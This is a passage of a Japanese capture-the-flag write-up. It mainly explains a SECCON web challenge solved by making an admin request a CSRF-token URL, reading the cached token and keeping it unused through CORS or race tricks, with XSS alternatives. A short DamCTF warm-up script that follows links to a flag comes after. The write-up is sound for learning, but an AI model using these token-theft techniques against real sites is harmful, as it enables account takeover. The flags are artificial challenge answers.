app.use(async (ctx, next) => {
  const referer = ctx.request.headers.get('referer');
  if (!referer) {
    ctx.response.body = 'Referer header is not set';
    ctx.response.status = 400;
    return;
  }

  // @ts-ignore
  const refererUrl = new URL(normalizeUrl(referer));
  if (refererUrl.host !== 'milk.chal.seccon.jp') {
    ctx.response.body = 'Bad Referer header';
    ctx.response.status = 400;
    return;
  }

  await next();
});

手順1改 adminに「意図した」CSRFトークン発行URLを踏ませる

note.phpを見ると、

<script src=https://milk-api.chal.seccon.jp/csrf-token?_=<?= htmlspecialchars(preg_replace('/\d/', '', $_GET['_'])) ?> defer></script>

とあり、GETリクエストで_を指定すると、任意のCSRFトークン発行URLを踏ませることができるようになっていた!!
なので、https://milk.chal.seccon.jp/notes/XXX?_=YYYとすると、
https://milk-api.chal.seccon.jp/csrf-token?_=YYYを踏みに行ってくれるので、
adminにCSRFトークン発行URLを踏ませて、
かつ、そのURLが分かる状況が生まれる。
なるほどー!!!

手順に立ち返ろう

  1. adminにCSRFトークン発行URLを踏ませる https://milk.chal.seccon.jp/notes/XXX?_=YYY
  2. 手順1で踏ませたURLを再度リクエストして、キャッシュされたCSRFトークンを取得する https://milk-api.chal.seccon.jp/csrf-token?_=YYY
  3. 取得したCSRFトークンを使って/notes/flagを読み取る

手順2で直接踏みに行ってReferer大丈夫という感じだが、キャッシュされたものを持ってきているので、バリデーションは走らず、問題ない。
あとは、奪ったCSRFトークンを使ってhttps://milk-api.chal.seccon.jp/notes/flagを踏む。
自分で踏む分にはRefererは偽装し放題なので、これでACだ!(htmlならタグでそんなやつがあったはず)

と思いきや

CSRFトークンはワンタイムパスワードで1度使ったら無効化されてしまう。
よって、手順1で踏ませて発行させてもすぐに使われて無効化されて、手順2で読み込んで手順3で使う頃には使えなくなっている。
なんとかならないか?

やり方1 レースコンディションで無理矢理使う

手順1を発行している裏で手順23を行う。
手順1でCSRFトークンが発行されたら、使われる前に手順23で使っちゃおうという作戦。
posix神はそれでやってる。 ここ

やり方2 CORSを上手く使う

想定解法。
手順1でCSRFトークン発行URLは踏ませるのだけれど、使われないようにする手段。
結論から言うと、https://milk.chal.seccon.jp./notes/XXX?_=YYY crossorigin=use-credentialsを踏ませる。

こうすることでCORSで付けているadd_header Access-Control-Allow-Origin https://milk.chal.seccon.jp always;が反応し、
https://milk.chal.seccon.jp.からのアクセスということで『異なる』と判断し、スクリプトの実行を止めてしまう。
止めるということはJSONPの応答が行われなくなり、結果、CSRFトークン発行URLは踏まれるが、使用されなくなる状況が生まれる。
あとは、ゆっくりキャッシュを拾って、フラグを取るだけ。

他のやり方

公式Writeupには他にもいくつかやり方が紹介されている。
どれも賢い。

  • charsetを指定することで応答されたスクリプトの中身をぐちゃぐちゃにして、実行させなくする方法
  • deferを上手く消して処理順を変更することで、コールバック関数の呼び出しを無効化する

全く違うアプローチ

オーソドックスにXSSする方法もある。
上でCORSを上手く使うやり方でも属性をXSSしていたが、CSPを上手くやり過ごしてjsを実行する方法もある。
公式Writeupここペイロードが紹介されている。
javascriptスキームを使う方法もある。

ちなみにMilk Revengeではソースコードのロジック変更は無く、crawl.jsだけが変更されていて、XSS解法を潰すような問題になっている。

finger-warmup (beginner) [DamCTF 2020]

finger-warmup (beginner)
babayet2
A finger warmup to prepare for the rest of the CTF, good luck!
You may find this or this to be helpful.
https://realpython.com/python-requests/
https://programminghistorian.org/en/lessons/intro-to-beautiful-soup
finger-warmup.chals.damctf.xyz

推測

アクセスするたびに違うURLに誘導される。
かつ、自動化を促されているような気がするので、自動でどんどん辿っていくようなpythonプログラムを書く。
すると、3000回目くらいで出力が変わるので、そこでフラグが手に入る。

import requests
import re
import time

url = 'https://finger-warmup.chals.damctf.xyz/'
tag = 's4eb0tykwwbpel4hwdc55'

for _ in range(101010):
    r = requests.get(url+tag)
    with open('res.txt', mode='a') as f:
        f.write(r.text + '\n')
    p = re.findall(r'<a href="(.*)">click here, if you are patient enough I will give you the flag</a>', r.text)
    tag = p[0]
    print(tag)
    time.sleep(1)

dam{I_hope_you_did_this_manually}
自動化しました…